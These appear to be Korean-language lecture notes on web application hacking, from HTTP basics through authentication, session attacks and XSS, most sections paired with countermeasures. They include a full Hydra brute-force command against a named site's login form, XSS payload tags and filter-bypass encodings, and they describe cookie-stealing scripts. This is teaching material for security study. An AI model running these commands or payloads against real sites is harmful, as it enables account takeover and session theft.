Web Application 해킹

Web 기초

World Wide Web 이란?

- a.k.a WWW, Web

- 전 세계에 있는 네트워크에 연결된 시스템을 통해 정보를 공유할 수 있는 정보 공간이다.

 

WWW의 역사

- 1989년 3월 유럽 입자 물리 연구소(CERN)의 연구원인 팀 버너스 리의 제안으로 시작되어 연구, 개발되었다.

- 웹에 관련된 기술은 World Wide Web 콘소시엄(W3C)이 개발하고 있다. W3C는 HTML, HTTP 등의 표준화를 진행하고 있으며, 최근에는 시맨틱 웹에 관련된 표준을 제정하고 있다.

 

 

Web의 구조

 

 

HTTP(Hyper Text Transfer Protocol)

- Web 상에서 정보를 주고 받기 위한 핵심 Protocol

- 정적인 텍스트 자원을 송/수신하기 위해 개발되었다.

- 애플리케이션 레벨의 Protocol

- 메세지 기반으로 동작한다.

 

HTTP Packet Layout

 

 

 

 

HTTP 프로토콜의 특징

TCP 기반의 프로토콜

- 패킷 송/수신 전에 TCP-3way Handshaking이 선행 되어야 한다.

Text 형태의 프로토콜

- ASCII 코드의 Printable Character 들로 구성되어 있다.

 

 

HTTP Version

- HTTP 1.0

  ┌ 1996년 발표 되었다.

  └ RFC 1945에 정의 : http://www.w3.org/Protocols/rfc1945/rfc1945

 

- HTTP 1.1

  ┌ 1999년 발표 되었다.

  └ RFC 2616에 정의 : http://www.w3.org/Protocols/rfc2616/rfc2616.html

 

HTTP 1.1에서 추가된 사항

- 지속적인 연결

- 가상호스트(Virtual Host)

  └ v1.1인 경우 반드시 HTTP Header에 Host 값을 포함해야 한다.

- 계층적 프록시(Hierarchical proxies)

- 캐시

 

 

HTTP Request 와 Response의 구조

 

 

HTTP Request

- 웹 클라이언트가 웹 서버에게 자원을 요청하는 것

 

HTTP Request의 형식

- Method

  └ OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT, extension-method

- Request-URI

  ┌ *, absoluteURI, absolutePath, authority

  └ Request-URI에 URL 인코딩 된 값이 들어갈 수 있다.

 

 

HTTP 주요 Method

 

HTTP Request 예제

 

HTTP Response

- 클라이언트의 요청에 대한 서버의 응답

 

HTTP Response의 형식

 

 

 

 Response의 주요 응답 코드

HTTP Response 예제

 

Header Fields의 종류

- General Header

  ┌ 메세지 처리를 제어하거나 클라이언트에게 부가정보를 알려주기 위해 사용한다.

  ├ Request와 Response에 둘다 이용된다.

  └ 실제 데이터와는 연관이 없다.

- Request Header

  ┌ 클라이언트의 요청에 대한 부가적인 내용을 포함한다.

  └ 서버가 요청을 처리하는 방법에 대해 클라이언트가 좀 더 제어할 수 있도록 한다.

- Response Header

  └ Status Line의 요약결과에 따른 부가정보를 제공한다.

- Entity Header

  └ 데이터에 포함된 내용을 설명하는 정보이다.

General Header Fields

 

Request Header Fields

Response Header Fields

Entity Header Fields

HTTP GET Method

- Getmethod

  ┌ 웹 서버에게 URL에 해당하는 자원을 요청할 때 사용한다.

  └ URL에 덧붙여 Parameter를 전달 할 수 있다.

  ┌ ? : URL과 Parameter사이의 구분

  ├ & : 여러 개의 Parameter를 전달할 경우 Parameter간의 구분

  └ 브라우저에 의해 URL Encoding되어 전달된다.

 

HTTP POST Method

- 서버에게 데이터를 전달 할 때 사용하는 Method

- HTML Form 태그를 이용하여 POST Method를 발생

- 서버에 전달할 데이터는 HTTP Body에 넣어 전달

 

 

GET과 POST의 차이점

- HTTP 스펙에 GET과 POST의 용도 정의

  ┌ GET : 서버의 자원을 요청할 때 사용한다.

  └ POST : 서버에게 데이터를 전송할 때 사용한다.

- GET과 POST의 가장 큰 차이점

  ┌ 데이터 전달 방식

  └ 데이터 전송 량

 

HEAD Method

- GET과 같은 요청이지만, 자료에 대한 정보만을 받게 된다.

- HTTP의 HEADER을 요청한다.

 

HEAD Method의 용도

- Meta 정보 획득

- Hyper Text의 링크 유효성 검사

 

 

 

 

 

TRACE Method

- 요청한 Request를 그대로 응답한다.

 

 

PUT Method

- 해당 URL에 자원을 생성

 

Delete Method

- 해당 URL의 자원을 삭제

 

OPTIONS Method

- 해당 자원에 허용된 Method를 반환

 

 

 

 

Web Language

HTML(Hypertext Markup Language)

- SGML로부터 파생되었으며 Hypertext를 지원하는 언어이다.

- 인터넷에서 웹 페이지를 표시하기 위해 사용한다.

- 웹 브라이저를 통해 파싱되고 표현된다.

- HTTP를 통해 송/수신된다.

- HTML 태그를 사용한다.

- 타 언어에서는 DOM을 이용하여 HTML 객체에 접근이 가능하다.

 

HTML의 한계

- 링크 메커니즘이 약하다.

- HTML은 데이터의 교환에는 부적합하다.

- 재사용할 수 없다.

- HTML은 확장할 수 없다.

 

Web Language

- 기본적으로 HTML 문서포맷을 이용하여 웹 페이지를 표시한다.

- 동적인 웹을 위해 SSS나 CSS가 이용된다.

- CSS(Client Side Script)

  ┌ JavaScript

  ├ VBScript

  └ Jscript

- SSS(Server Side Script)

  ┌ ASP

  ├ ASP.NET (C#, VBScript)

  ├ PHP

  ├ JSP

  ├ CGI (Common Gateway Interface)

└ 주로 C나 Perl을 이용하여 구현한다.

  └ 그 외 Python, Ruby 등 다양한 언어가 사용된다.

 

 

 

HTML DOM (Document Object Model)

- HTML 문서의 내용에 접근하고, 조작하기 위해 표준화된 방법이다.

- HTML의 문서를 Tree 구조로 표현한다.

- JavaScript에 의해 DOM의 내용을 제어할 수 있다.

DOM

Javascript

- 가장 널리 사용되는 클라이언트 측 스크립트 언어

- 객체지향형 언어

- 웹 사이트에서 동적인 클라이언트 환경을 위해 주로 사용된다.

- 브라우저에 의해 수행된다.

- 대 소문자 구분

JScript

- Microsoft사에서 Javascript와 유사하게 만든 클라이언트측 스크립트

VBScript

- 주로 서버 측 ASP언어로 사용되나 클라이언트 측 언어로 이용될 수도 있다.

- 객체지향기능이 없음으로 Javascript보다 활용성이 떨어진다.

- VB의 문법을 이용, 대소문자 구분하지 않는다.

 

Javascript & VBScript 예제

 

 

 

ASP(Active Server Page)

- 서버 측 스크립트 언어, VBScript 기반

- IIS 3.0 이상에서 동작한다.

- 동적인 페이지를 구성하기 위해 사용한다.

- 클라이언트가 ASP를 요청하면 ASP를 수행시킨 결과값을 응답으로 받게 된다.

  └ ASP의 코드 자체는 클라이언트에게 제공하지 않는다.

 

 

ASP.NET

- Microsoft사의 닷넷(.NET)시스템 상에서 동작하는 서버 측 스크립트

- VBScript에서 벗어나 객체지향적인 코드를 지원한다.

  ┌ ASP의 단점을 보완하였다.

  └ VisualBasic, C#, C++ 등이 이용된다.

- 디자인과 코드가 분리된 형태로 제작가능하다.

  └ JSP에서 사용하는 MVC 패턴과 유사하다.

 

PHP

-  원래 Personal Home Page의 약자이다.

- 현재 공식적으로는 Professional Hypertext Preprocessor의 약자이다.

- Apache와 주로 연동하여 사용하는 서버측 스크립트 언어이다.

- 무료 오픈 소스로 제공된다.

- HTML 처리나 문서처리, 정규 표현식 등에 효율적이다.

 

 

 

JSP(Java Server Page)

- 웹에서 사용되는 서버 측 스크립트 언어

- 자바를 기반으로 한다.

- JSP 2.0은 J2EE(Java2 Enterprise Edition) 1.4에 포함되어 있다.

- JSP 파일을 클라이언트가 호출하면 서블릿 코드로 변환 후 컴파일하여 서블릿 클래스 형태로 보관한다.

JSP의 장점

- 자바 언어를 기반으로 하기 때문에 플랫폼에 관계없이 사용이 가능하다.

 

- EJB 기술과 완벽하게 호환된다.

- 대규모의 사이트 구축에 적합하다.

 

주요 JSP 엔진

- TOMCAT, Resin, JRUN

 

 

Encoding Schema

웹에서 사용되는 인코딩 종류

- ASCII

- URL Encoding

- Force Full URL Encoding

- HTML Encoding

- Unicode Encoding

- MS-Script

- Base64 Encoding

- Etc..

 

ASCII

- American Standard Code for Intermation Interchange의 약자이다.

- 미국 정보 교환 표준 부호이다.

- 영문 알파벳을 사용하는 대표적인 인코딩 방법이다.

- 7Bit로 이루어져 있다. (총 128개의 문자)

  ┌ 33개의 제어문자

  └ 95개의 출력가능 문자

┌ 52개 영문자 (대/소)

├ 10개 숫자

├ 32개 특수문자

└ 1개 공백

 

 

- ASCII 기반의 확장 인코딩 방식들이 많이 생겨났다.

  └ ISO/IEC 646, ISO 8859 등

ASCII Code

URL Encoding

- URL에는 US-ASCII의 문자들 중 출력이 가능한 문자들만을 포함한다.

- URL에 포함되는 문자들을 안전하게 웹 서버에 전달 되도록 특수한 기능을 가진 문자들을 브라우저가 인코딩하여 전달한다.

URL Encoding의 형식

- 원래 문자열의 Hex값 앞에 %를 사용

URL Encoding 예제

URL Meta Character

 

브라우저에 따른 URL Encoding 문자 

- 브라우저에 따라서 URL Encoding 하는 문자의 차이가 있다.

Force Full URL Encoding

- 강제적으로 모든 문자를 URL Encoding 하는 기법이다.

- IDS 등을 우회하기 위한 용도로 사용될 수 있다.

Force Full URL Encoding 예제

HTML Encoding

- HTML문서 내에서 특별한 기능을 수행하는 문자들을 안전하게 브라우저에 표현하기 위해 사용하는 인코딩 방법이다.

- XSS 공격에 대응하기 위한 방법으로 사용된다.

Multi Byte code 

- EUC-KR

  ┌ 8비트 문자인코딩

  └ 대표적인 한글 완성형 인코딩

- Code Page 949

  ┌ 마이크로소프트 한글 윈도우에서 사용되는 코드페이지

  └ EUC-KR의 확장

- Unicode

  ┌ 전 세계에 존재하는 다양한 문자코드를 표현하기 위해 만들어진 인코딩 방법이다.

  └ 16Bit Unicode Encoding을 이용하는 방법은 URL Encoding과 유사하다.

└ %u 를 Unicode 앞에 붙인다.

└ ex) %u2215 : /

- UTF-8

  ┌ 유니코드를 위한 가변 길이 문자 인코딩 방법 중 하나이다.

└ 1~4 bytes 까지 사용한다.

  ├ 가장 널리 사용되며 Windows98 부터 지원한다.

  └ 표기방법은 URL Encoding과 동일하다.

└ %를 UTF-8 코드 앞에 붙인다.

MS Script Encoding

- 클라이언트 측에 전달되는 JScript의 로직을 보호하기 위해 사용되는 인코딩 방법이다.

- Microsoft 사에서 제공하는 인코딩 기법으로 Internet Explorer(IE)에서만 사용이 가능하다.

  └ IE에는 MS Script decoder가 내장되어 있다.

- 인코딩 되어있는 코드인 경우에는 아래와 같이 인코딩 되었음을 브라우저에게 알려주게 된다.

  └ <script language="JScript.Encode">

- Encoder

  └ MS 사에서 다운로드 받을 수 있다.

┌ Sce10en.exe(영문판)

└ Sce10ko.exe(한글판)

- Decoder

  ┌ IE에 내장되어 있다.

  └ 알고리증이 밝혀졌다.

┌ Scrdec18.exe

└코드페이지 설정 URL / HTML 디코딩 가능

└ Scrdec18.exe exploit.html decode1.html

MS Script Encoding 전

MS Script Encoding 후

Base64 Encoding

- MIME에 주로 사용한다.

- Web 인증 중 하나인 기본인증(Basic Authentication)에도 사용된다.

- 2진 데이터를 ASCII 형태의 텍스트로 표현이 가능하다.

Base64 Encoding 구성

- 64개의 문자로 구성된다.

  ┌ 알파벳 대문자 : 26자

  ├ 알파벳 소문자 : 26자

  ├ 숫자 : 10자

  └ 특수문자 : + / 2자

- 6Bit로 한 문자를 표현한다.

- =는 padding 값으로 사용한다. (n%3 만큼 패딩)

 

Web Authentication

Type of Web Authentication

- Basic Authentication

  ┌ 웹 서버에 보낼 아이디와 암호를 Base64 방식으로 인코딩 후 전달한다.

  └ 사용자 계정은 시스템 계정이 이용된다.

- HTTP Digest Authentication

  ┌ Challenge / Response / Nonce

  ├ Windows의 경우 Domain 계정을 이용하여 인증

 

  └ MD5 Hash 값 이용

- HTTP NTLM Authentication

  ┌ Challenge / Response 방식

  ├ Explore와 IIS에서만 사용가능

  └ 호환성을 위해 웹 인증에 NTLM은 사용되지 않는다.

- Anonymous Authentication

  └ Web Server에서 제공하는 익명계정을 이용하여 서버의 자원을 클라이언트에게 제공

- Form Based Authentication

  ┌ HTML에서 지원하는 Form 태그를 이용하여 인증정보를 서버 측에 전송

  ├ 대부분의 웹 애플리케이션에서 사용하는 방식

  └ SSL을 이용한 암호화가 필요하다.

Basic Authentication

- 클라이언트는 인증에 사용되는 ID와 Password를 Base64 방식으로 인코딩하여 웹 서버에 전달한다. Base64 방식을 사용하기 때문에 Sniffing에 의해 ID와 Password가 노출될 수 있다. 

  └ IIS의 Basic 인증 설정

- Basic 인증을 하도록 설정된 웹 사이트에 접근을 할 경우 인증창이 뜬다.

- ID와 Password는 Base64형태로 인코딩 되어 서버에 전달된다.

  ┌ 아이디:암호 형태를 Base64방식으로 인코딩

  └ ex) 아이디:nuno, 암호:1234인 경우 noun:1234라는 문자열 인코딩 하여 전달

Form Basic Authentication

- HTML Form 태그를 이용하여 사용자로부터 ID와 Password를 입력 받은 후 HTTP를 이용하여 웹 서버에 전달한다.

- 웹 서버에서 가장 많이 사용하는 인증방식이다.

- 서버에 전달되는 ID와 Password는 평문으로 전달된다.

- ID와 Password를 노출시키지 않기 위해 암호화 통신을 이용한다.

 

Session Management

Session Token

- Session을 인증하기 위한 정보이다.

- 인증에 관련된 정보는 서버와 클라이언트 양쪽에 저장되어야 한다.

- 일반적으로 Web Application Server에서 지원하는 해쉬값이 Token으로 사용된다.

- 웹 서버가 물리적으로 여러 대 인 경우 WAS에서 발행한 Session ID만으로 인증이 불가능하다.

Web Application Server에서 지원하는 Session Token

- ASP : ASPSESSIONID

- JSP : JSESSIONID

- PHP : PHPSESSIONID

 

Session 이란?

- 어떤 일이 시작되는 시점부터 끝날 때 까지를 의미한다.

- 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미한다.

 

Web Session의 특징

- TCP 기반의 프로토콜이지만 지속적인 연결이 필요하지 않은 웹 서비스의 특성상 TCP의 Connection Oriented한 성격을 잃어버린다.

- 비 연속적으로 접근하는 웹 클라이언트를 구분하기 위하여 Session Token을 사용해야 한다.

 

Session Management

- 클라이언트가 웹 서버에 최초로 접근하게 되면 서버는 Session Token을 발생한다.

- 서버로부터 발행된 Session Token은 Session이 활성화 되어있는 동안 웹 서버와 클라이언트 양쪽에 모두 보관되어 유지되어야 한다.

- 클라이언트에 저장된 Session Token은 서버에게 Request시 항상 포함된다.

- Session이 종료되면 Session Token은 파기되어야 한다.

 

일반적인 Session Management 절차

 

 

 

 

 

HTML 페이지에 저장하는 방식

- Hidden field

  ┌ Hidden field를 이용하여 Session Token을 HTML 코드 내에 저장된다.

  └ 위험성이 널리 알려져 요즘에는 세션정보를 저장하는 용도로 사용하지 않는다.

 

- URL Rewriting

  ┌ URL에 Session Token을 덧붙여 사용한다.

  └ 웹 브라우저에서 쿠키를 사용하지 못하도록 설정한 경우 주로 사용된다.

 

Cookie에 저장하는 방식

- Session Token은 Cookie의 Expires에 따라서 메모리 혹은 디스크에 저장된다.

 

  └ Session Cookie, Persistent Cookie

- Session Cookie에 저장하는 방식이 가장 널리 사용된다.

 

Hidden Field

- Session을 관리하기 위한 방법 중 하나로 웹 페이지의 Form에 Hidden Field를 이용한다.

- Form에 입력된 데이터는 GET이나 POST방식을 이용하여 웹 서버에 전달된다.

 

- Input 컨트롤의 type 속성에 "Hidden"을 설정하면 컨트롤이 보이지 않게 된다. 그러나 내부적으로는 데이터를 보유하고 있으며 Submit 버튼 클릭 시 웹 서버로 데이터가 전달된다.

- 문제점

Hidden Field는 브라우저 화면에 표시 되지는 않지만 소스보기를 이용하여 확인 할 수 있으며 공격자가 악의적인 목적에 의해 값을 변조 할 수 있다. 그럼으로 Hidden Field는 중요한 데이터의 저장에 이용되어서는 안된다.

 

URL Rewriting

- 웹 브라우저가 쿠키를 저장하지 않도록 되어있는 경우 사용할 수 있는 방법이다.

- 웹 서버가 클라이언트를 구별하기 위한 Session 정보를 URL에 포함시킨다.

- Hidden Form Field와 비슷하나 이 방법은 GET방식에만 사용될 수 있다.

 

 

Cookie란?

- Web Application Server가 클라이언트 식별에 사용되는 정보를 클라이언트에게 저장하기 위해 가장 널리 사용되는 방법이다.

- 서버에서 발행하거나 스크립트에 의해 저장된다.

  ┌ Response Header의 Set-Cookie를 이용한다.

  └ Javascript로 document.cookie에 접근 가능하다.

- 쿠키를 발행한 사이트에서만 읽을 수 있다.

- 각 호스트마다 최대 20개 까지 사용가능하다.

- 각 쿠키는 4KB를 넘지 못한다.

  └ 브라우저마다 다를 수 있다.

 

Cookie의 용도

- Session을 관리하기 위한 Session Token

  └ 일반적으로 Session Cookie(브라우저 캐시)에 저장된다.

- 개인화된 컨텐츠를 제공하기 위한 정보

  ┌ 개인정보

  ├ 사용자 취향

  └ 장바구니 정보

- 클라이언트 관리에 필요한 정보

  └ 웹 사이트 이용방식 추적

- 임시데이터

  └ Ex) 팝업 창 제한 설정

웹사이트 접속 시 브라우저의 Cookie 사용 절차

 

 

 

Persistent Cookie vs Session Cookie

Cookie의 생성코드

- 아래의 내용이 Response Header에 포함되면 브라우저는 쿠키를 생성하게 된다.

Internet Explorer의 Cookie Format

Persistent Cookie의 위치

- Persistent Cookie의 경우 하드디스크에 저장되는데 그 위치는 브라우저에 따라 다르다.

- Internet Explorer의 경우

  ┌ IE6

└ C:\Documents and Sesstings\<ID>\Cookies

  └ IE7

└ C:\Documents and Sesstings\<ID>\Local Settings\Temporary Internet Files

 

FireFox Cookie

해당 사이트에서 사용하는 Cookie 확인

- javascript:document.cookie

 

Web 취약점 리스트

OWASP(Open Web Application Security Project)

- http://www.owasp.org

- Web Application 보안을 위한 Open Source Project

- 웹 보안에 관한 다양한 점검리스트, 가이드, 툴 등의 자료 제공

- 한국어 번역판도 제공

 

OWASP TOP 10 List

OWASP Testing Guide

- Information Gathering

- Business Logic Testing

- Authentication Testing

- Session Management Testing

- Data Validation Testing

- Denial of Service Testing

- Web Service Testing

- AJAX Testing

WASC(Web Application Security Consortium)

- 웹보안의 표준을 위해 구성된 국제단체

- http://www.webappsec.org/

Web Security Threat Classification

 

Web 해킹 툴

Vulnerability Scanners / Proxy Tools

- 취약점 스캐너의 종류

  ┌ Nikto

  ├ Wikto

  ├ AppScan

 

  ├ Acunetix

  ├ Nessus

  └ Etc

- Web Proxy Tool의 종류

  ┌ Achilles

  ├ Paros

  ├ Burp Suite

  ├ Web Scarab

  ├ Fiddler

  └ Etc

 

Information Gathering

Banner Grabbing

- 서비스에 이용되는 대부분의 소프트웨어들은 자신의 버전과 모듈정보를 사용자에게 제공한다.

- 공격자는 이 정보를 수집하여 웹 서버나 웹 모듈정보 등을 획득할 수 있다.

 

 

HTTP Fingerprinting

- Banner Grabbing에 의해 정보를 수집하지 못하도록 Server 파라미터를 변조하거나, 제공하지 않을 경우도 있다.

- 여러가지 값들을 서버로 전달하여 정보를 얻어낼 수 있다.

 

 

Netcraft

- http://www.netcraft.com

 

 

Google

- http://www.google.com

- 전 세계에서 가장 많이 사용되는 검색 엔진

 

Googling

- "인터넷에 검색하다"라는 의미로 사용된다.

- 강력한 검색엔진인 Google을 이용하여 인터넷 상에서 정보를 쉽고 빠르게 수집할 수 있다.

 

HTTP Archive

- 과거의 사이트 정보

  └ http://archive.org

 

 

 

 

Web Spidering

- Web Application의 구조와 기능을 파악 하는 것

- 수작업에 의한 Browsing

- 자동화 툴에 의한 Spidering

  ┌ Paros

  ├ Burp Spider

  └ WebScarab

- 자동화 툴 이용 시 주의점

  ┌ 복잡한 스크립트에 의해 동적으로 생성되는 메뉴의 경우 미탐 가능성 존재

  ├ 페이지 이동 시 정확한 입력 값을 요구하는 경우 미탐 가능성 존재

  ├ 무한반복 되지 않도록 해야 한다.

┌ 일회성 정보를 포함하여 URL이 생성되는 경우에는 무한반복 가능성 존재

└ 같은 URL에 POST방식으로 데이터를 전달하여 다른 페이지를 보여주는 경우 미탐 가능성 존재

  └ Session이 종료되지 않도록 해야 한다.

┌ 인증이 사용되는 경우 Logout 페이지가 처리되는 경우

├ 입력 값에 민감한 애플리케이션인 경우 강제로 Session 종료

└ 페이지 별 인증 Token을 요구하는 경우

 

 

Bypassing Client Side Validation

데이터 검증 방식

- Client Side Validation

  └ 브라우저에서 제공되는 기능이나, 자바스크립트, HTML 등을 이용하여 데이터를 검증 후 검즌된 데이터를 서버로 전송

- Server Side Validation

  └ 검증되지 않은 데이터를 서버로 전송 후 서버 측에서 검증

 

 

장/단점

 

두 가지 방식을 적절히 혼용하는 것이 좋다.

소스코드 수정 하기

- Javascript가 포함된 HTML 코드를 저장 후 내용을 조작

- 경로정보를 절대경로로 변경해 주어야 한다.

Web Proxy Tool을 이용한 우회

- Request 혹은 Response 되는 데이터를 Proxy tool을 이용하여 직접 조작

 

인증관련 공격기법

Basic 인증 공격

- Basic 인증은 ID와 Password를 Base64 방식으로 인코딩 하여 모든 HTTP Request에 포함시켜 보낸다.

Basic 인증 공격방법

 

- Sniffing

  └ Base64 방식으로 인코딩된 ID와 Password를 수집하여 Base64 Decoding 한다.

- Brute-forcing

  └ ID와 Password를 Brute-forcing하여 계정정보를 획득한다.

Basic 인증을 사용하는 서버로부터의 응답

서버로 전달되는 ID와 Password

Base64 방식으로 Encoding된 ID와 Password 디코딩

디코딩 된 결과

다른 Decoding 툴 이용가능

- Web Proxy Tool에는 기본적인 Encoder/Decoder 기능 탑재

  └ Paros, Burp 등

 

ID/PW Brute Forcing

- Brute Forcing 공격은 예전부터 수행해 오던 공격 기법으로 Web 애플리케이션에서도 사용될 수 있다.

- ID와 Password의 조합을 반복적으로 입력

  └ 준비된 사전파일 이용 : Dictionary Attack

- 로그인 실패와 성공 시 응답되는 메세지의 내용이 다름으로 이를 이용하여 ID/PW가 올바른지 확인

 

사용 툴

- brutus-aet2, wwwhack, hydra 등

 

 

 

Hydra

- hydra -t 1 -l nuno -P pass.txt b.xcurelab.com http-post-form "/member/member_login_chcheck.asp:user_id=^USER^&user_pw=^PASS^:history"

 

Hydra 결과

 

Brutus-AET2를 이용한 Brute Forcing

 

 

ID/PW Brute Forcing 대응책

- 로그인 실패 시 제공되는 정보를 제한

  ┌ (X) 해당 ID가 없습니다. 비밀번호가 맞지 않습니다

  └ (O) ID 또는 비밀번호가 맞지 않습니다.

- 계정 잠금 정책을 사용

  └ Ex) 3회 실패 시 계정 잠금

- 로그인 처리 시간을 지연

[계정 잠금 정책 예]

 

추가 대응책

- 로그인 사용자의 IP를 확인하여 동시접속을 제어한다.

 

 

Web Session 관련 공격기법

Brute Forcing Session Token

- Main Cause

  ┌ Session Token 생성 알고리즘이 간단하여 쉽게 유추할 수 있는 경우

  └ Session 관리에 사용되는 Session Token을 Guessing 이나 Brute Forcing 하여 알아 내는 것

 

- Impact

  ┌ 취득한 Session의 권한획득

  └ Session이용자의 개인정보 획득 가능성 존재

- 대응책

  ┌ Token의 집합이 가능한 많아야 하며 랜덤하게 분포되도록 해야 한다.

  ├ 일련번호 등 추측이 가능한 값을 사용하지 말 것

  └ 식별 가능한 구조가 되지 않도록 해야 한다.

 

Web Session Hijacking

- Web Session Hijacking

  ┌ 다른 사용자가 사용하고 있는 Session Token을 획득하여 Session을 가로채는 공격이다.

  └ Session Token만을 가지고 사용자를 인증하는 경우에 발생한다.

- Inpact

  └ 현재 로그인 중인 사용자의 권한을 획득

 

Web Session Hijacking 공격 절차

 

 

 

Web Session Token 획득 방법

- Sniffing을 통한 Session Token 획득

  └ Sniffing을 통해 Victim의 HTTP Request 패킷에 포함된 Session Token을 획득한다.

- XSS를 통한 Session Token 획득

  └ Cross Site Scripting을 이용하여 Victim의 브라우저 HTML DOM에 저장된 Session Token 획득

 

 

Web Session Hijacking 대응 방법

- Sniffing이 되지 않도록 네트워크 보안

- HTTP를 통해서 인증 토큰이 전달되지 않도록 해야 한다.

- 강력한 보안이 필요한 경우 페이지당 Token을 사용한다.

- Session Token의 만료시간을 적절히 설정한다.

- Logout한 경우 Session 종료한다.

- Session Token과 Client IP Address 또는 Port 매칭을 확인한다.

 

 

Web Session Fixation

- Preface

  └ Victim이 로그인 하기 전 Victim의 Session ID를 Attacker가 원하는 값으로 고정시키는 공격방법이다.

- Impact

  └ Attacker는 해당 Server에서 Victim의 계정권한을 갖게 된다.

Web Session Fixation 공격 절차

 

 

- Session 생성

  ┌ Permissive 방식

└ 임의의 Session ID를 생성하여 서버에 전달하면 새로운 Session이 생성된다.

  Ex) PHP, Jrun, Server

  └ Strict 방식

┌ 서버는 자신이 생성한 Session ID만 받아들인다.

  Ex) IIS Server

└ 공격자는 Target Web Server에 접속하여 Session을 미리 생성한다.

- Session Token 전달

  ┌ URL

  ├ Hidden Form Field

  ├ Cookie

  └ HTML Meta tag

- Victim이 접속 후 로그인 할 때까지 대기한다.

  └ 접속 유도 받은 Victim이 로그인에 성공하면 Attacker는 해당 Victim의 권한으로 웹 서버를 이용한다.

 

Web Session Fixation 대응방법

- 익명의 사용자를 인증할 때 새로운 Session ID 발행한다.

- 임의의 Session ID를 받아들이지 않도록 한다.

 

 

XSS(Cross Site Scripting)

Preface

- 요즘의 웹 사이트는 과거의 정적인 페이지에서 벗어나 동적인 페이지를 제공한다.

- 동적인 페이지에서는 사용자의 입력을 받아 어떤 작업을 처리함으로 사용자로부터 입력된 데이터를 적절히 검증하지 않으면 보안상 취약점이 발생할 수 있다.

 

- 요즘 Web2.0 환경으로 변하면서 JavaScript가 널리 사용됨에 따라 AJAX를 이용한 XSS난 UCC (User Create Contents)에 의한 XSS가 재조명 되고 있다.

 

Main Cause

- 사용자로부터 입력된 데이터를 적절한 검증 없이 Web Document로 출력하는 경우 발생 한다.

- Attacker가 악성 Script를 입력했다면 Victim은 악성스크립트를 신뢰하는 웹 서버가 보낸 것으로 믿고 실행하게 된다.

- XSS는 서버를 공격하는 것이 아니라 서버를 경유하여 클라이언트를 공격하는 것이다.

 

Impact

- Cookie Access

- DOM (Document Object Mode) Access

- Clipboard Access

- Key logging

 

 

 

Reflective XSS (non-persistent)

- 공격자는 악성 스크립트를 포함한 URL을 Victim에게 노출한다.

  └ 이메일, 메신저, 웹 게시판 등을 이용

- 악성스크립트는 서버에 저장되지 않는다.

 

 

Stored XSS (persistent)

- 공격자는 악성스크립트를 XSS에 취약한 웹 서버에 저장한다.

  └ 웹 게시판, 방명록 등

- 공격자는 해당 게시물을 Victim에게 노출시킨다.

 

 

XSS에 취약한 페이지 유형

- HTML을 지원하는 게시판

- Search Page

- Personalize Page

- Join Form Page

- Referer를 이용하는 Page

- 그 외 사용자로부터 입력 받아 화면에 출력하는 모든 페이지에서 발생 가능

 

Search Page

- 사용자로부터 입력된 내용을 검색한 후 검색요청 값(입력문자열)을 화면에 표시하는 경우

 

 

 

Personalize Page

- 로그인한 사용자를 웹 서버가 인식하여 그에 따라 적절히 대응하는 페이지

 

  └ Ex) nuno님 안녕하세요?

Referer 이용 Page

- HTTP_REFERRER 변수를 사용하여 이전페이지를 표시하는 경우

  └ Ex) 귀하는 "XXX"에서 방문하셨습니다.

 

Join Form Page

- 회원 가입 시 필수항목을 입력하지 않은 경우 입력된 내용을 화면에 다시 표시

 

 

XSS를 유발할 수 있는 스크립트

- <script> ... </script>

 

- <img src="javascript:......">

- <div style="background-image:url(javascript...)"></div>

- <embed> ...... </embed>

- 등등

XSS의 Filtering 우회

- %3Cscript%3E........%3Cscript%3E

- Jav&#97;script;

- Java&#13;script

- Java&#0013;script

 

XSS Cheat Sheet

- http://ha.ckers.org/xss.html

  └ Filtering을 우회하기 위한 다양한 스크립트 목록 제공

 

 

Cookie를 Attacker에게 전송하는 악성코드

- Image 객체 생성 후 Script를 이용하여 Image의 location 속성을 변경

- 쿠키는 HTML DOM에 구현되어 있으며 스크립트로 접근이 가능하다.

  └ document.cookie

 

Cookie를 저장하는 스크립트 (ASP)

Cookie를 저장하는 스크립트 (PHP)

 

DOM (Document Object Model)

- 웹 브라우저에 의해 표현되는 자원들을 객체로 구성하여 스크립트에 의해 접근이나 조작이 가능하도록 만든 것이다.

- 트리 구조로 되어 있으며 구성요소와 속성, 내용을 갖는다.

 

- XSS를 이용하여 DOM를 읽고 쓸 수 있으며 이를 이용하여 페이지 조작이 가능하다.

DOM을 이용하여 웹 페이지의 그림을 변경하는 스크립트

그림의 사이즈 조절 스크립트

글자 삽입

JavaScript를 이용하여 Clipboard에 저장되어 있는 내용에 접근 가능

XSS 대응책 (Server)

- 스크립트 무효화

  ┌ 입력 값 검증

┌ 사용자로부터 입력되는 값을 반드시 Server 측에서 검사한다.

├ HTML 태크의 중요속성과 인코딩 방식을 이해하여 필터링한다.

└ White List 방식의 필터링을 사용한다.

  ├ 출력 값 인코딩

┌ 출력 값은 HTML 인코딩을 사용하여 제공한다.

└ 출력 값 코드페이지 명시 (ISO 8859-1, UTF8 등)

  └ html 포맷의 입력 페이지를 최대한 줄인다.

└ 필요한 html 태그 기능만 제공한다.

- 중요한 정보는 쿠키에 저장하지 않도록 한다.

- Session과 IP를 묶어서 서버 측에서 인증한다.

- 스크립트에 의한 쿠키 접근 제한 (httponly)

- XST 공격 기법을 차단하기 위해 TRACE Method 금지한다.

XSS 대응책 (Client)

- 링크를 클릭하여 이동하지 말고 직접 URL에 주소를 입력한다.

- Flash 디폴트 실행 금지

- 웹 브라우저의 인터넷 옵션에서 개인 정보 등급 상향 조정(불필요한 쿠키 전송 금지)

- Internet Explorer의 최신 패치 적용

- 여러 사이트 동일 패스워드 사용 금지

- 주기적인 패스워드 변경

 

XST(Cross Site Tracing)

Preface

- TRACE Method를 이용한 공격

- 스크립트에 의해 쿠키를 읽지 못하도록 설정 되어있는 경우에 이를 우회하기 위해서 사용한다.

 

 

JavaScript로 Cookie 읽기

- HttpOnly가 설정되지 않은 Cookie는 JavaScript와 같은 스크립트로 읽을 수 있다.

 

 

HttpOnly 옵션 사용

- Set-Cookie: aaa=bbb; httponly

 

Cross Site Tracing Attack Flow

XST 공격이 가능한 제한 조건

- Server 측

  └ 서버에서 TRACE Method를 허용해야 한다.

- Client 측

  ┌ TRACE Method 발생시켜야 한다.

  └ TRACE의 Response Body를 제어할 수 있어야 한다.

 

XST 공격 스크립트

 

 

 

XSF(Cross Site Flashing)

XSF (Cross Site Flashing)

